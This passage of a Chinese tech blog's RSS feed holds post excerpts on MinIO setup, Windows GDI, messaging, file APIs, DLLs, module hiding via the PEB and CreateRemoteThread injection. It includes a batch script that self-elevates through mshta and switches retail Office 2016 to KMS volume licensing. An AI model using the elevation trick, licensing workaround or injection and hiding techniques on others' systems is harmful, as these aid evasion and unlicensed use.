&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ cat /etc/default/minio
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Remote node configuration.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;MINIO_VOLUMES&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;http://node1/export1 http://node2/export2 http://node3/export3 http://node4/export4
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Use if you want to run Minio on a custom port.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;MINIO_OPTS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;quot&lt;span class="p"&gt;;&lt;/span&gt;--address :9199&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;quot&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;EOT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 替换key&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat /etc/default/minio
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Access Key of the server.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;MINIO_ACCESS_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Server-Access-Key
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Secret key of the server.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;MINIO_SECRET_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Server-Secret-Key
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;EOT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 下载安装service文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;(&lt;/span&gt; &lt;span class="nb"&gt;cd&lt;/span&gt; /etc/systemd/system/&lt;span class="p"&gt;;&lt;/span&gt; curl -O https://raw.githubusercontent.com/minio/minio-service/master/linux-systemd/distributed/minio.service &lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 记得替换 /etc/systemd/system/minio.service&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 中user和group&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 重载配置&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;systemctl daemon-reload
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 开机启动&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;systemctl &lt;span class="nb"&gt;enable&lt;/span&gt; minio.service
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;systemctl disable minio.service
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;systemctl restart minio.service
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 查看日志&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;journalctl -u nginx.service -f 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="配置ssl证书"&gt;配置ssl证书&lt;/h2&gt;
&lt;p&gt;/home/minio/.minio/certs&lt;/p&gt;</description></item><item><title>简单的GDI操作</title><link>https://luodaoyi.com/posts/%E7%AE%80%E5%8D%95%E7%9A%84gdi%E6%93%8D%E4%BD%9C-%E7%AE%80%E5%8D%95%E7%9A%84gdi%E6%93%8D%E4%BD%9C/</link><pubDate>Tue, 29 May 2018 03:01:12 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E7%AE%80%E5%8D%95%E7%9A%84gdi%E6%93%8D%E4%BD%9C-%E7%AE%80%E5%8D%95%E7%9A%84gdi%E6%93%8D%E4%BD%9C/</guid><description>&lt;h1 id="简单的gdi操作"&gt;简单的GDI操作&lt;/h1&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2018-05-29-15275299317864.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;h2 id="窗口程序的本质-gui-gdi"&gt;窗口程序的本质 :GUI GDI&lt;/h2&gt;
&lt;p&gt;GDI: Graphics Device Interface,图形设备接口，这是Windows提供的一组用于绘制图像的API&lt;br&gt;
GUI: Graphical User Interface,图形用户界面，是指用户操作软件的界面方式，以区别于字符方式&lt;/p&gt;
&lt;p&gt;说白了 GDI是一套实打实的接口，真实存在 GUI只是一个概念&lt;/p&gt;
&lt;h2 id="gdi-图像设备接口graphics-device-interface"&gt;GDI 图像设备接口(Graphics Device Interface)&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;设备对象(HWND)&lt;/li&gt;
&lt;li&gt;DC(设备上下文，Device Contexts)&lt;/li&gt;
&lt;li&gt;图形对象&lt;/li&gt;
&lt;/ol&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;图形对象&lt;/th&gt;
 &lt;th&gt;作用&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;画笔(Pen)&lt;/td&gt;
 &lt;td&gt;影响线条，包括颜色、粗细、虚实、箭头形状等&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;画刷(Brushes)&lt;/td&gt;
 &lt;td&gt;影响对形状、区域等操作，如使用的颜色、是否有阴影等&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;字体(Fonts)&lt;/td&gt;
 &lt;td&gt;影响文字输出的字体&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;位图(Bitmaps)&lt;/td&gt;
 &lt;td&gt;影响位图创建、位图操作和保存等。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="相关api"&gt;相关API&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;上下文相关:&lt;/p&gt;</description></item><item><title>消息机制与模拟消息</title><link>https://luodaoyi.com/posts/%E6%B6%88%E6%81%AF%E6%9C%BA%E5%88%B6%E4%B8%8E%E6%A8%A1%E6%8B%9F%E6%B6%88%E6%81%AF-%E6%B6%88%E6%81%AF%E6%9C%BA%E5%88%B6%E4%B8%8E%E6%A8%A1%E6%8B%9F%E6%B6%88%E6%81%AF/</link><pubDate>Tue, 29 May 2018 01:50:14 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E6%B6%88%E6%81%AF%E6%9C%BA%E5%88%B6%E4%B8%8E%E6%A8%A1%E6%8B%9F%E6%B6%88%E6%81%AF-%E6%B6%88%E6%81%AF%E6%9C%BA%E5%88%B6%E4%B8%8E%E6%A8%A1%E6%8B%9F%E6%B6%88%E6%81%AF/</guid><description>&lt;h1 id="消息机制与模拟消息"&gt;消息机制与模拟消息&lt;/h1&gt;
&lt;h2 id="消息机制"&gt;消息机制&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2018-05-29-15275266359512.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;硬件产生事件&lt;/li&gt;
&lt;li&gt;被操作系统捕获，封装成消息&lt;/li&gt;
&lt;li&gt;操作系统发送到系统消息队列&lt;/li&gt;
&lt;li&gt;再由操作系统由系统消息队列发送到 对应的线程内核对象中的线程消息队列&lt;/li&gt;
&lt;li&gt;线程消息队列处理完毕后，将时间送回操作系统&lt;/li&gt;
&lt;li&gt;由操作系统调用窗口回调函数 =&amp;gt; &lt;code&gt;WindowProc()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;线程消息队列 处理&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;GetMessage()&lt;/code&gt; =&amp;gt; 取出消息&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DispathMessage()&lt;/code&gt; =&amp;gt; 把消息再送回系统中系统中&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在线程拿到消息之前，消息经过了两个队列&lt;/p&gt;</description></item><item><title>新建一个窗口程序</title><link>https://luodaoyi.com/posts/%E6%96%B0%E5%BB%BA%E4%B8%80%E4%B8%AA%E7%AA%97%E5%8F%A3%E7%A8%8B%E5%BA%8F-%E6%96%B0%E5%BB%BA%E4%B8%80%E4%B8%AA%E7%AA%97%E5%8F%A3%E7%A8%8B%E5%BA%8F/</link><pubDate>Tue, 29 May 2018 01:10:08 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E6%96%B0%E5%BB%BA%E4%B8%80%E4%B8%AA%E7%AA%97%E5%8F%A3%E7%A8%8B%E5%BA%8F-%E6%96%B0%E5%BB%BA%E4%B8%80%E4%B8%AA%E7%AA%97%E5%8F%A3%E7%A8%8B%E5%BA%8F/</guid><description>&lt;h1 id="新建一个窗口程序"&gt;新建一个窗口程序&lt;/h1&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2018-05-27-15272434874728.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;p&gt;消息机制&lt;/p&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2018-05-27-15272438074435.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;p&gt;创建窗口的几个步骤&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;创建窗口类&lt;/li&gt;
&lt;li&gt;注册窗口类&lt;/li&gt;
&lt;li&gt;创建窗口&lt;/li&gt;
&lt;li&gt;显示窗口&lt;/li&gt;
&lt;li&gt;构建消息循环&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="创建过程"&gt;创建过程&lt;/h3&gt;
&lt;p&gt;demo : &lt;a href="https://github.com/luodaoyi/cpp_code/tree/master/MemoryInjectTool/CreateWindows"&gt;https://github.com/luodaoyi/cpp_code/tree/master/MemoryInjectTool/CreateWindows&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//1 创建窗口类型模板
 WNDCLASS wndclass = { 0 };
 wndclass.lpszClassName = className; //名字
 wndclass.hbrBackground = (HBRUSH)COLOR_BACKGROUND; //背景画笔句柄
 wndclass.hInstance = hInstance; //窗口过程的实例句柄
 wndclass.lpfnWndProc = WndProc; //窗口过程函数
 //2 注册窗口
 RegisterClass(&amp;amp;wndclass);
 //3 创建窗口
 HWND hwindows = CreateWindow(className, TEXT(&amp;quot;MYWINDOWS&amp;quot;), WS_OVERLAPPEDWINDOW, 500, 300, 300, 250, NULL, NULL, hInstance,NULL);
 //创建窗口
 HWND hsitc1 = CreateWindow(L&amp;quot;STATIC&amp;quot;, TEXT(&amp;quot;账号：&amp;quot;), WS_CHILD | WS_VISIBLE, 10, 30, 50, 20, hwindows, HMENU(IDC_STATIC1), hInstance, NULL);
 HWND hstic2 = CreateWindow(L&amp;quot;STATIC&amp;quot;, TEXT(&amp;quot;密码&amp;quot;), WS_CHILD | WS_VISIBLE, 10, 80, 50, 20, hwindows, HMENU(IDC_STATIC2), hInstance, NULL);
 HWND hedit1 = CreateWindow(L&amp;quot;EDIT&amp;quot;, NULL, WS_CHILD | WS_VISIBLE, 80, 30, 100, 20, hwindows, HMENU(IDC_EDIT1), hInstance, NULL);
 HWND hedit2 = CreateWindow(L&amp;quot;EDIT&amp;quot;, NULL, WS_CHILD | WS_VISIBLE, 80, 80, 100, 20, hwindows, HMENU(IDC_EDIT2), hInstance, NULL);
 HWND hbutt1 = CreateWindow(L&amp;quot;BUTTON&amp;quot;, TEXT(&amp;quot;登录&amp;quot;), WS_CHILD | WS_VISIBLE, 50, 120, 50, 25, hwindows, HMENU(IDC_BUTTM1), hInstance, NULL);
 HWND hbutt2 = CreateWindow(L&amp;quot;BUTTON&amp;quot;, TEXT(&amp;quot;取消&amp;quot;), WS_CHILD | WS_VISIBLE, 110, 120, 50, 25, hwindows, HMENU(IDC_BUTTM2), hInstance, NULL);
 //4 显示窗口
 ShowWindow(hwindows,SW_SHOW);
 //5 构建消息循环
 MSG msg = { NULL };
 while (GetMessage(&amp;amp;msg,NULL,NULL,NULL))
 {
 TranslateMessage(&amp;amp;msg);
 DispatchMessage(&amp;amp;msg);
 }
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>office2016 visio2016 project2016零售版转换vol版bat</title><link>https://luodaoyi.com/posts/office2016-visio2016-project2016%E9%9B%B6%E5%94%AE%E7%89%88%E8%BD%AC%E6%8D%A2vol%E7%89%88bat-office2016visio2016project2016%E9%9B%B6%E5%94%AE%E7%89%88%E8%BD%AC%E6%8D%A2vol%E7%89%88bat/</link><pubDate>Tue, 29 May 2018 00:53:24 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/office2016-visio2016-project2016%E9%9B%B6%E5%94%AE%E7%89%88%E8%BD%AC%E6%8D%A2vol%E7%89%88bat-office2016visio2016project2016%E9%9B%B6%E5%94%AE%E7%89%88%E8%BD%AC%E6%8D%A2vol%E7%89%88bat/</guid><description>&lt;p&gt;在&lt;a href="http://msdn.itellyou.cn/"&gt;http://msdn.itellyou.cn/&lt;/a&gt;网站上下载的是office2016是零售版的，转换为vol，将下列文本另存为bat文件，运行即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@ECHO OFF&amp;amp;PUSHD %~DP0
setlocal EnableDelayedExpansion&amp;amp;color 3e &amp;amp; cd /d &amp;quot;%~dp0&amp;quot;
title office2016 retail转换vol版
%1 %2
mshta vbscript:createobject(&amp;quot;shell.application&amp;quot;).shellexecute(&amp;quot;%~s0&amp;quot;,&amp;quot;goto :runas&amp;quot;,&amp;quot;&amp;quot;,&amp;quot;runas&amp;quot;,1)(window.close)&amp;amp;goto :eof
:runas
if exist &amp;quot;%ProgramFiles%\Microsoft Office\Office16\ospp.vbs&amp;quot; cd /d &amp;quot;%ProgramFiles%\Microsoft Office\Office16&amp;quot;
if exist &amp;quot;%ProgramFiles(x86)%\Microsoft Office\Office16\ospp.vbs&amp;quot; cd /d &amp;quot;%ProgramFiles(x86)%\Microsoft Office\Office16&amp;quot;
:WH
cls
echo.
echo 选择需要转化的office版本序号
echo.
echo --------------------------------------------------------------------------------
echo 1. 零售版 Office Pro Plus 2016 转化为VOL版
echo.
echo 2. 零售版 Office Visio Pro 2016 转化为VOL版
echo.
echo 3. 零售版 Office Project Pro 2016 转化为VOL版
echo.
echo. --------------------------------------------------------------------------------
set /p tsk=&amp;quot;请输入需要转化的office版本序号【回车】确认（1-3）: &amp;quot;
if not defined tsk goto:err
if %tsk%==1 goto:1
if %tsk%==2 goto:2
if %tsk%==3 goto:3
:err
goto:WH
:1
cls
echo 正在重置Office2016零售激活...
cscript ospp.vbs /rearm
echo 正在安装 KMS 许可证...
for /f %%x in (&amp;quot;dir /b ..\root\Licenses16\proplusvl_kms*.xrm-ms&amp;quot;) do cscript ospp.vbs /inslic:&amp;quot;..\root\Licenses16\%%x&amp;quot; &amp;gt;nul
echo 正在安装 MAK 许可证...
for /f %%x in (&amp;quot;dir /b ..\root\Licenses16\proplusvl_mak*.xrm-ms&amp;quot;) do cscript ospp.vbs /inslic:&amp;quot;..\root\Licenses16\%%x&amp;quot; &amp;gt;nul
echo 正在安装 KMS 密钥...
cscript ospp.vbs /inpkey:XQNVK-8JYDB-WJ9W3-YJ8YR-WFG99
goto :e
:2
cls
echo 正在重置Visio2016零售激活...
cscript ospp.vbs /rearm
echo 正在安装 KMS 许可证...
for /f %%x in (&amp;quot;dir /b ..\root\Licenses16\visio???vl_kms*.xrm-ms&amp;quot;) do cscript ospp.vbs /inslic:&amp;quot;..\root\Licenses16\%%x&amp;quot; &amp;gt;nul
echo 正在安装 MAK 许可证...
for /f %%x in (&amp;quot;dir /b ..\root\Licenses16\visio???vl_mak*.xrm-ms&amp;quot;) do cscript ospp.vbs /inslic:&amp;quot;..\root\Licenses16\%%x&amp;quot; &amp;gt;nul
echo 正在安装 KMS 密钥...
cscript ospp.vbs /inpkey:PD3PC-RHNGV-FXJ29-8JK7D-RJRJK
goto :e
:3
cls
echo 正在重置Project2016零售激活...
cscript ospp.vbs /rearm
echo 正在安装 KMS 许可证...
for /f %%x in (&amp;quot;dir /b ..\root\Licenses16\project???vl_kms*.xrm-ms&amp;quot;) do cscript ospp.vbs /inslic:&amp;quot;..\root\Licenses16\%%x&amp;quot; &amp;gt;nul
echo 正在安装 MAK 许可证...
for /f %%x in (&amp;quot;dir /b ..\root\Licenses16\project???vl_mak*.xrm-ms&amp;quot;) do cscript ospp.vbs /inslic:&amp;quot;..\root\Licenses16\%%x&amp;quot; &amp;gt;nul
echo 正在安装 KMS 密钥...
cscript ospp.vbs /inpkey:YG9NW-3K39V-2T3HJ-93F3Q-G83KT
goto :e
:e
echo.
echo 转化完成，按任意键退出！
pause &amp;gt;nul
exit
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>模块隐藏</title><link>https://luodaoyi.com/posts/%E6%A8%A1%E5%9D%97%E9%9A%90%E8%97%8F-%E6%A8%A1%E5%9D%97%E9%9A%90%E8%97%8F/</link><pubDate>Thu, 24 May 2018 01:02:11 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E6%A8%A1%E5%9D%97%E9%9A%90%E8%97%8F-%E6%A8%A1%E5%9D%97%E9%9A%90%E8%97%8F/</guid><description>&lt;h1 id="模块隐藏"&gt;模块隐藏&lt;/h1&gt;
&lt;h2 id="遍历模块"&gt;遍历模块&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;HANDLE WINAPI CreateToolhelp32Snapshot(
 DWORD dwFlags,
 DWORD th32ProcessID
)
//dwFlags:
TH32CS_SNAPMODULE 遍历模块
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="peb"&gt;PEB&lt;/h2&gt;
&lt;p&gt;(Process Environment Block 进程环境块)&lt;br&gt;
存放进程信息，每个进程都有自己的PEB信息&lt;/p&gt;
&lt;p&gt;如何找到PEB&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;EPROCESS进程内核对象结构体中 &lt;code&gt;0x1b0&lt;/code&gt;偏移的位置&lt;/li&gt;
&lt;li&gt;TEB线程环境块的 &lt;code&gt;0x30&lt;/code&gt;位置&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;（实际上32位程序中的PEB的位置是固定的）&lt;/p&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2018-05-24-15270938518687.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2018-05-24-15270938357976.jpg" alt="" title=""&gt;&lt;/p&gt;</description></item><item><title>文件系统</title><link>https://luodaoyi.com/posts/%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F-%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F/</link><pubDate>Tue, 22 May 2018 21:53:57 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F-%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F/</guid><description>&lt;h1 id="文件系统"&gt;文件系统&lt;/h1&gt;
&lt;h2 id="什么是文件系统"&gt;什么是文件系统&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;文件系统是操作系统用于管理磁盘上文件的方法和数据结构，简单说就是在磁盘上如何组织文件的方法，是软件层面的东西&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="windows上有哪几种文件系统"&gt;windows上有哪几种文件系统&lt;/h2&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;类型&lt;/th&gt;
 &lt;th&gt;NTFS&lt;/th&gt;
 &lt;th&gt;FAT32&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;磁盘分区容量&lt;/td&gt;
 &lt;td&gt;2T&lt;/td&gt;
 &lt;td&gt;512MB – 2TB (早先只有32GB)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;单个文件容量&lt;/td&gt;
 &lt;td&gt;4GB以上&lt;/td&gt;
 &lt;td&gt;最大4GB&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;EFS加密&lt;/td&gt;
 &lt;td&gt;Y&lt;/td&gt;
 &lt;td&gt;N&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;磁盘配额&lt;/td&gt;
 &lt;td&gt;Y&lt;/td&gt;
 &lt;td&gt;N&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="如何操作文件系统"&gt;如何操作文件系统&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;卷相关的API&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;API&lt;/th&gt;
 &lt;th&gt;功能&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;GetLogicalDrives( )&lt;/td&gt;
 &lt;td&gt;获取卷&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;GetLogicalDriveString()&lt;/td&gt;
 &lt;td&gt;获取所有卷盘符字符串&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;GetDriveType()&lt;/td&gt;
 &lt;td&gt;获取卷的类型&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;GetVolumeInformation ()&lt;/td&gt;
 &lt;td&gt;获取卷的信息&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;目录相关的API&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;API&lt;/th&gt;
 &lt;th&gt;功能&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;CreateDirectory()&lt;/td&gt;
 &lt;td&gt;创建目录(文件夹)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;RemoveDirectory()&lt;/td&gt;
 &lt;td&gt;删除目录(文件夹)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;MoveFile()&lt;/td&gt;
 &lt;td&gt;移动文件(修改目录名称)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;GetCurrentDirectory()&lt;/td&gt;
 &lt;td&gt;获取当前进程的目录&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;SetCurrentDirectory()&lt;/td&gt;
 &lt;td&gt;设置应用程序的当前目录&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;文件操作相关&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;API&lt;/th&gt;
 &lt;th&gt;功能&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;CreateFile()&lt;/td&gt;
 &lt;td&gt;创建/打开文件&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;CloseHandle()&lt;/td&gt;
 &lt;td&gt;关闭文件&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;GetFileSize()&lt;/td&gt;
 &lt;td&gt;获取文件大小&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;GetFileAttributes()&lt;/td&gt;
 &lt;td&gt;获取文件相关信息&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;ReadFile() / WriteFile() / CopyFile() / DeleteFile()&lt;/td&gt;
 &lt;td&gt;读写拷贝删除文件&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;FindFirstFile() / FindNextFile()&lt;/td&gt;
 &lt;td&gt;查找文件&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;</description></item><item><title>远程线程注入</title><link>https://luodaoyi.com/posts/%E8%BF%9C%E7%A8%8B%E7%BA%BF%E7%A8%8B%E6%B3%A8%E5%85%A5-%E8%BF%9C%E7%A8%8B%E7%BA%BF%E7%A8%8B%E6%B3%A8%E5%85%A5/</link><pubDate>Tue, 22 May 2018 21:53:12 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E8%BF%9C%E7%A8%8B%E7%BA%BF%E7%A8%8B%E6%B3%A8%E5%85%A5-%E8%BF%9C%E7%A8%8B%E7%BA%BF%E7%A8%8B%E6%B3%A8%E5%85%A5/</guid><description>&lt;h1 id="远程线程注入"&gt;远程线程注入&lt;/h1&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2018-05-22-15269971337952.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;h2 id="线程是什么"&gt;线程是什么&lt;/h2&gt;
&lt;p&gt;如果说进程是个大房子，那么线程是进程中干活的人&lt;/p&gt;
&lt;p&gt;线程是进程的&lt;code&gt;灵魂&lt;/code&gt;&lt;br&gt;
&lt;code&gt;使用进程提供的数据 执行进程提供的代码&lt;/code&gt;&lt;br&gt;
临时数据存储在计算机的寄存器中&lt;/p&gt;
&lt;h2 id="创建线程"&gt;创建线程&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;//在自己的进程中创建线程
CreateThread()
//在别人的进程中创建线程
HANDLE WINAPI CreateRemoteThread
（
 _In_ HANDLE hProcess， //目标进程句柄
 _In_ LPSECURITY_ATTRIBUTES lpThreadAttributes，
 _In_ SIZE_T dwStackSize， //目标线程栈大小
 _In_ LPTHREAD_START_ROUTINE lpStartAddress，//目标线程地址
 _In_ LPVOID lpParameter， //目标线程参数
 _In_ DWORD dwCreationFlags，//创建标志位
 _Out_ LPDWORD lpThreadId //返回被创建线程的ID
）;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="远程线程注入的关键点"&gt;远程线程注入的关键点&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;通过&lt;code&gt;CreateRemoteThread&lt;/code&gt;创建线程&lt;/li&gt;
&lt;li&gt;被创建的线程的本体在&lt;code&gt;目标进程内部&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;被创建的线程使用的各类资源&lt;code&gt;均依赖于目标进程&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;思考：&lt;/p&gt;</description></item><item><title>动态链接库</title><link>https://luodaoyi.com/posts/%E5%8A%A8%E6%80%81%E9%93%BE%E6%8E%A5%E5%BA%93-%E5%8A%A8%E6%80%81%E9%93%BE%E6%8E%A5%E5%BA%93/</link><pubDate>Tue, 22 May 2018 21:51:05 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E5%8A%A8%E6%80%81%E9%93%BE%E6%8E%A5%E5%BA%93-%E5%8A%A8%E6%80%81%E9%93%BE%E6%8E%A5%E5%BA%93/</guid><description>&lt;h1 id="动态链接库"&gt;动态链接库&lt;/h1&gt;
&lt;h2 id="静态链接库的缺陷"&gt;静态链接库的缺陷&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;链接时将函数加入到exe导致exe变大&lt;/li&gt;
&lt;li&gt;在运行时对于不同进程他们所使用的同一个函数都会独占空间，造成资源浪费&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="怎么解决"&gt;怎么解决&lt;/h2&gt;
